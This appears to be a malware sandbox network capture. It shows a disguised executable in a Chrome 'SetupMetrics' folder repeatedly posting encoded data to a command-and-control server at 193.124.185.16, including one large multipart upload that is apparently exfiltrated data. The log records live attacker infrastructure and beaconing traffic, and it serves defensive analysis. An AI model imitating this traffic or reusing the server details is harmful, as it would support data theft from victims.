Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49792	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:02.173295021 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:02.526333094 CET	1096	OUT	Data Raw: 51 50 59 54 5f 56 54 5a 58 59 51 57 59 5d 54 5a 59 54 59 47 56 50 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QPYT_VTZXYQWY]TZYTYGVPZ_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!_)8!&-_ % S!9_$(7='?["%T+4/A&<),%G!"Z
Dec 16, 2024 13:13:03.427617073 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:03.666335106 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49796	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:03.936439991 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:04.292408943 CET	1096	OUT	Data Raw: 54 5f 59 55 5a 58 54 5e 58 59 51 57 59 5d 54 5d 59 5f 59 42 56 5d 5a 54 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T_YUZXT^XYQWY]T]Y_YBV]ZTT_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=^=1))_46!Y=%<5==08/>' 5<1Q<#E&0),%G!"Z*

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49800	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:04.881731987 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:05.229458094 CET	1812	OUT	Data Raw: 51 57 5c 50 5f 56 54 59 58 59 51 57 59 5f 54 58 59 55 59 42 56 5d 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QW\P_VTYXYQWY_TXYUYBV]Z_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!^*X29!#S)&<S"0+ (4!/2+81;%G!"Z2
Dec 16, 2024 13:13:06.117047071 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:06.350445986 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 20 09 23 2a 00 5e 32 13 3b 1f 27 2d 22 10 24 06 09 40 3f 03 38 5e 3e 00 38 03 29 3f 2c 07 27 01 3b 16 3e 3d 25 55 3c 2f 33 00 28 31 2a 58 02 12 25 05 3d 22 0a 0b 3b 5b 2e 52 3e 04 2a 1d 23 06 3f 12 26 3d 0e 0e 24 29 21 14 23 17 29 57 2b 17 09 0c 3e 3c 0c 16 3e 3e 34 01 3d 2e 21 50 08 11 26 09 28 12 3c 08 3e 33 27 12 20 33 3b 03 27 39 23 10 25 33 3c 18 32 3f 3b 11 29 1c 3b 58 3d 2e 21 00 39 39 08 59 21 0f 3d 52 2b 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98 #^2;'-"$@?8^>8)?,';>=%U</3(1X%=";[.R>*#?&=$)!#)W+><>>4=.!P&(<>3' 3;'9#%3<2?;);X=.!99Y!=R+8.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49802	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:05.046432972 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:05.401283979 CET	1096	OUT	Data Raw: 54 5f 5c 54 5f 59 54 55 58 59 51 57 59 5e 54 50 59 5c 59 44 56 5f 5a 5b 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: T_\T_YTUXYQWY^TPY\YDV_Z[T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"*%)=Y7S9^=&+5X9Y$(B76+'@%1R),%G!"Z*6
Dec 16, 2024 13:13:06.272780895 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:06.511410952 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49806	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:06.797441006 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:07.151321888 CET	1096	OUT	Data Raw: 54 55 5c 50 5f 57 51 58 58 59 51 57 59 59 54 5c 59 59 59 40 56 5f 5a 5f 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TU\P_WQXXYQWYYT\YYY@V_Z_T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y![+(&)!X#%Z)57!38()4"!V('2'=%G!"Z**
Dec 16, 2024 13:13:08.033184052 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:08.266338110 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49810	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:08.656513929 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1092 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:09.013806105 CET	1092	OUT	Data Raw: 51 50 59 56 5f 5d 54 5c 58 59 51 57 59 5a 54 5e 59 5c 59 49 56 5f 5a 5d 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QPYV_]T\XYQWYZT^Y\YIV_Z]T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y"=8211Y751_&#!!3+(4/Z6<.?B$1,)%G!"Z*>
Dec 16, 2024 13:13:09.892644882 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:10.126789093 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49817	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:10.514136076 CET	361	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----cTKXzs3OycE23gGeDVq17cCnhY9di5UkGP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 125298 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:10.870264053 CET	12360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 63 54 4b 58 7a 73 33 4f 79 63 45 32 33 67 47 65 44 56 71 31 37 63 43 6e 68 59 39 64 69 35 55 6b 47 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 30 22 Data Ascii: ------cTKXzs3OycE23gGeDVq17cCnhY9di5UkGPContent-Disposition: form-data; name="0"Content-Type: text/plainTP\SZ_T^XYQWYRTXYZYIV]Z[T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T
Dec 16, 2024 13:13:10.991120100 CET	12360	OUT	Data Raw: 41 32 41 48 59 50 6c 78 74 55 70 53 38 33 41 52 52 46 76 38 6c 67 67 34 4c 51 30 6f 2b 4a 36 31 77 47 45 36 53 36 6f 6a 41 33 49 4c 2b 53 6a 7a 6d 6d 68 53 42 55 6c 58 4d 44 48 6f 74 6c 74 68 59 65 76 4b 34 2b 50 4d 70 4d 36 62 34 52 65 32 5a 55 Data Ascii: A2AHYPlxtUpS83ARRFv8lgg4LQ0o+J61wGE6S6ojA3IL+SjzmmhSBUlXMDHotlthYevK4+PMpM6b4Re2ZUUHTawXv4Mz2vbJRbl+aH2uKfUb0Sxh47lxzLz5PJIMqKWSDiELV80fmjG8qjyCSKA+9i4LhkudYV77eKW/edIGpDjLSv+ugkERlEWweDMq7UIsSGca8MXUTiCzAaD/HhaBpCjtF/o/5AfkMLzgtxxIAJJW+y+DgsG
Dec 16, 2024 13:13:10.991157055 CET	2472	OUT	Data Raw: 73 39 4c 77 36 61 70 76 47 75 59 77 64 63 45 66 4a 2f 5a 73 34 6a 63 4d 44 34 61 6a 74 4f 67 6b 44 72 74 6b 76 46 46 58 56 49 35 34 74 51 52 4b 59 52 67 56 77 55 62 42 48 52 5a 32 46 4a 53 6d 54 75 41 46 7a 64 74 43 72 4a 54 38 77 68 57 4b 5a 51 Data Ascii: s9Lw6apvGuYwdcEfJ/Zs4jcMD4ajtOgkDrtkvFFXVI54tQRKYRgVwUbBHRZ2FJSmTuAFzdtCrJT8whWKZQkt0ePrE+nhzQhUMlNJvcFKBh6KVw9nbASnBCxa2mP/D6reOq7p9/0eH6IgCmIMBSSkhNGDSTfSPbolFAYC0gLSEo4uRTo2SgGRbqQFqVFKSnczmvHbwNfn/f39oQ8WPH0+5rVzn3Nf5zp3w1TVltHblBaSoPxbrrl
Dec 16, 2024 13:13:10.991498947 CET	7416	OUT	Data Raw: 6c 35 30 36 4c 44 65 2f 66 45 34 54 67 42 76 65 61 72 76 30 67 32 46 66 78 4f 58 34 59 50 45 35 50 67 64 4f 38 50 35 79 58 5a 46 45 49 6e 4b 75 51 51 64 77 66 54 30 73 59 37 4b 33 78 6a 37 6b 7a 71 42 6b 79 58 31 44 52 52 56 35 41 55 69 6c 5a 66 Data Ascii: l506LDe/fE4TgBvearv0g2FfxOX4YPE5PgdO8P5yXZFEInKuQQdwfT0sY7K3xj7kzqBkyX1DRRV5AUilZfBeOMuP18jQc/ygNunQm2hmNg4py0hrDyPhk3q7oaDjvhSsDrslO8lTpldkXk8G8m98H6iR8HKVRBVpDK7CeTFwE2JNisqaEViJwSSW/L88INyOpwz+Y1yltmP/+8z9I7I+AdXBVQgsk5YgkvfAfu2IpeVhjvJYfn8
Dec 16, 2024 13:13:10.991518021 CET	2472	OUT	Data Raw: 51 68 7a 6d 7a 6b 30 6c 53 37 53 6a 67 59 6d 35 74 44 6b 77 55 6e 53 47 68 53 50 47 55 63 35 4d 74 59 33 5a 52 6f 65 38 42 5a 31 78 34 70 5a 37 4c 77 6b 47 42 44 34 46 67 65 47 4f 66 36 47 55 4f 75 51 54 47 68 32 51 78 6b 77 45 47 71 4f 6c 5a 32 Data Ascii: Qhzmzk0lS7SjgYm5tDkwUnSGhSPGUc5MtY3ZRoe8BZ1x4pZ7LwkGBD4FgeGOf6GUOuQTGh2QxkwEGqOlZ27BAJz29KAKh2qYRazI1QsDg/1DJbPhRlYXgGKVDeVnD6YinVWfYEkuHhgOOMwlprWRlGhlOB70NXAUBIbsdtgQMNGm0pzntbN8a4mTl+Gak5OOjNcjmI0r5PIUmvWPOOmXMzByXJEAAtLKQgq5pGXoPoT7oleEcA6
Dec 16, 2024 13:13:11.111403942 CET	12360	OUT	Data Raw: 4d 65 32 5a 33 4b 48 63 68 46 32 6b 69 76 76 66 43 38 72 70 64 48 2f 58 4e 78 5a 47 50 52 42 74 51 61 58 53 66 75 58 36 6f 4f 2f 62 63 6b 4c 75 6f 69 48 6a 54 62 52 4c 62 34 36 7a 56 76 33 58 65 37 68 63 47 68 4f 7a 50 73 62 56 34 2f 38 2f 48 57 Data Ascii: Me2Z3KHchF2kivvfC8rpdH/XNxZGPRBtQaXSfuX6oO/bckLuoiHjTbRLb46zVv3Xe7hcGhOzPsbV4/8/HWuUJp51GxCKBxJGDShfYRj2bZdNgKsFriy+iSW7HOh3GRWAfa3pKkEAhkWiyzdBKQ1ePL3kYpfULA44hxvbweEP6gpU8W5Q51tfQR4uDgW3KCa2InFOQSHswk5wOYaKCzV5ch8OwhI0ZdxO4RSO4ZGbx1GhZnEsDnv
Dec 16, 2024 13:13:11.157944918 CET	28428	OUT	Data Raw: 32 61 30 46 73 47 56 73 46 59 66 58 7a 31 51 55 33 4f 5a 36 69 68 46 67 36 33 4b 4f 33 55 6e 62 2f 64 53 31 37 76 62 37 6e 6c 68 47 73 56 35 64 31 32 48 66 39 6c 6b 55 4b 37 73 38 61 6c 79 31 54 39 45 2b 76 4f 46 52 6d 44 2b 4c 49 35 41 43 62 65 Data Ascii: 2a0FsGVsFYfXz1QU3OZ6ihFg63KO3Unb/dS17vb7nlhGsV5d12Hf9lkUK7s8aly1T9E+vOFRmD+LI5ACbe0rul75zsz9pqres/2oT3fuSkZNL72GSDXXbiQaVLF2VH27Ie5cmvtYJfCsbfEHWfkC+Sm1jWwN68+jCiLRT8Ly3BZ9TF1NsG3CIjnZArfwQDGn8dAcJegRVNwJ9ulz22DhtghPBoZ+h/z7KbJ5YfH/WUn/fCmlsgJ
Dec 16, 2024 13:13:11.277803898 CET	6180	OUT	Data Raw: 48 48 50 54 38 4b 2b 76 34 57 7a 55 6d 79 58 4d 6c 7a 4e 2f 2f 42 51 50 53 46 52 72 61 2b 42 70 49 48 4b 4f 55 58 4a 39 6e 4d 7a 33 64 39 4a 44 57 37 6b 63 67 52 49 6b 6e 51 52 72 72 65 6d 52 71 6b 55 6c 68 2f 2b 34 2f 53 71 6f 48 51 6a 50 4d 33 Data Ascii: HHPT8K+v4WzUmyXMlzN//BQPSFRra+BpIHKOUXJ9nMz3d9JDW7kcgRIknQRrremRqkUlh/+4/SqoHQjPM3Ps7Tz1rk3fdWCstZBidG9Q/Bz/B+NCVkRkCV9SR3HGF/S+aOQLdcN7kGFo/biWP3sQngA27s6SJPFM0UBy2w7zj0DfxMWSr5kvWUquE1Xf0t+QXy2ZVU29vDW4XvIAV3d5uSCrPab4CGSERHW2bnOyzXBJnmvIkK7
Dec 16, 2024 13:13:11.319250107 CET	1236	OUT	Data Raw: 6e 54 66 59 50 54 38 62 75 4e 6c 58 56 6e 33 33 74 50 34 6c 4e 65 51 31 50 56 53 77 73 2f 74 59 49 72 77 2b 67 75 56 75 74 4c 7a 67 46 7a 33 51 44 68 6f 57 77 6c 48 6c 54 35 50 55 58 56 78 55 7a 42 31 76 65 52 56 4f 36 7a 37 30 50 72 46 61 45 42 Data Ascii: nTfYPT8buNlXVn33tP4lNeQ1PVSws/tYIrw+guVutLzgFz3QDhoWwlHlT5PUXVxUzB1veRVO6z70PrFaEBN6QvI7ipNavilazPKUEGS6wk7YcQyYoJ1o3zE+vC9fgmXR/KHyWegK79qAOfwKhM0fFlr3wSSu9f4J6ndiRg7X2ZOqRJtn6is/ej7fsvNu+SL2RQydhF4ySC53d926NWTLVlCAT1j7Ou3ysLDDmvabY8R9vKWaeee
Dec 16, 2024 13:13:11.479342937 CET	40014	OUT	Data Raw: 65 36 79 47 30 45 78 75 6d 78 34 6d 64 31 47 54 5a 62 76 2f 62 4f 65 43 6b 43 54 67 6a 34 73 70 78 39 74 4b 34 47 52 39 68 50 69 55 34 38 51 44 6d 67 77 36 51 48 38 73 50 51 6b 70 59 42 41 4b 58 61 53 2f 51 4c 63 64 53 55 4b 37 70 46 39 63 75 42 Data Ascii: e6yG0Exumx4md1GTZbv/bOeCkCTgj4spx9tK4GR9hPiU48QDmgw6QH8sPQkpYBAKXaS/QLcdSUK7pF9cuBAVwLSrAZa4UQpPwE9EgMEpeKFoTI8WhU1r9EboM4JEfESijQarixAXnpzysEUo4oKCcnujJILCSUIM2fhs4Npj8cn1XMcDAkatbkejfgbPF0tCDghFRTVHIlc2CBgjq935LkepRcV5NVv7+KRoDK2SMlVCabbNOGz
Dec 16, 2024 13:13:11.749321938 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:12.388295889 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0
Dec 16, 2024 13:13:12.388653040 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1812 Expect: 100-continue
Dec 16, 2024 13:13:12.780047894 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:13.288697004 CET	349	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 02 1f 23 57 21 39 2e 5e 26 3d 37 56 27 2e 03 05 24 38 30 1a 3c 13 33 07 3e 10 15 19 3d 06 20 01 27 2f 0e 05 3e 00 21 55 3f 11 30 1c 29 0b 2a 58 02 12 25 03 3e 21 23 55 2d 3d 3a 11 2a 03 3d 41 23 59 30 01 25 2d 20 0b 32 03 3a 03 21 3a 2e 0e 3f 29 06 52 29 02 04 15 2a 03 24 01 29 04 21 50 08 11 25 1b 28 12 20 0e 3d 20 3f 13 21 23 30 5c 24 2a 27 57 27 55 30 52 31 2c 09 59 2a 1c 27 5f 29 10 2a 5d 2c 2a 39 01 21 21 35 19 3e 38 2e 51 23 0a 29 51 05 34 5c 51 0d 0a 30 0d 0a 0d 0a Data Ascii: 98#W!9.^&=7V'.$80<3>= '/>!U?0)X%>!#U-=:=A#Y0%- 2:!:.?)R)$)!P%( = ?!#0\$'W'U0R1,Y'_)],*9!!5>8.Q#)Q4\Q0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49818	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:10.643898964 CET	315	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:13:10.995351076 CET	1096	OUT	Data Raw: 54 52 59 57 5f 5e 51 5f 58 59 51 57 59 5e 54 5a 59 54 59 47 56 5b 5a 5e 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: TRYW_^Q_XYQWY^TZYTYGV[Z^T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!>8-2_-Y 5_=0"^3<$#Y6"+77B1!<+<%G!"Z6
Dec 16, 2024 13:13:11.869812012 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:12.101906061 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49824	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:12.364845037 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
Dec 16, 2024 13:13:12.713844061 CET	1096	OUT	Data Raw: 51 55 59 55 5a 5f 51 58 58 59 51 57 59 52 54 5e 59 55 59 40 56 58 5a 5d 54 5f 44 58 54 5e 58 5b 5a 5e 54 5d 51 5b 53 5c 47 5a 56 53 51 53 55 58 51 5a 5c 5f 46 57 55 53 51 5c 55 57 57 5c 5a 45 58 5a 59 5c 5d 58 59 56 58 5b 5f 59 5d 58 5b 53 56 58 Data Ascii: QUYUZ_QXXYQWYRT^YUY@VXZ]T_DXT^X[Z^T]Q[S\GZVSQSUXQZ\_FWUSQ\UWW\ZEXZY\]XYVX[_Y]X[SVXVST]T]W_Q\CY[^[^ZQS^YRQTX_XUB^\_YPYUSWXQ]RRWATQ^T_UX]^\\ZRR^TUYVPPPT_X_ZDTXUWQBTX[T][\ZYURTPZQ]^YPZ[_Y!];629=[ ">$U6=9^'+'>+!+77E1!3)<%G!"Z
Dec 16, 2024 13:13:13.648677111 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:13:13.885051966 CET	200	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 16 Dec 2024 12:13:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 30 57 5a 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 40WZX0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49830	193.124.185.16	80	1600	C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:13:14.153175116 CET	291	OUT	POST /gameBigloadHttp/apidumpjavascript/5game/Process/VmtoServerLinuxuploads.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 193.124.185.16 Content-Length: 1096 Expect: 100-continue
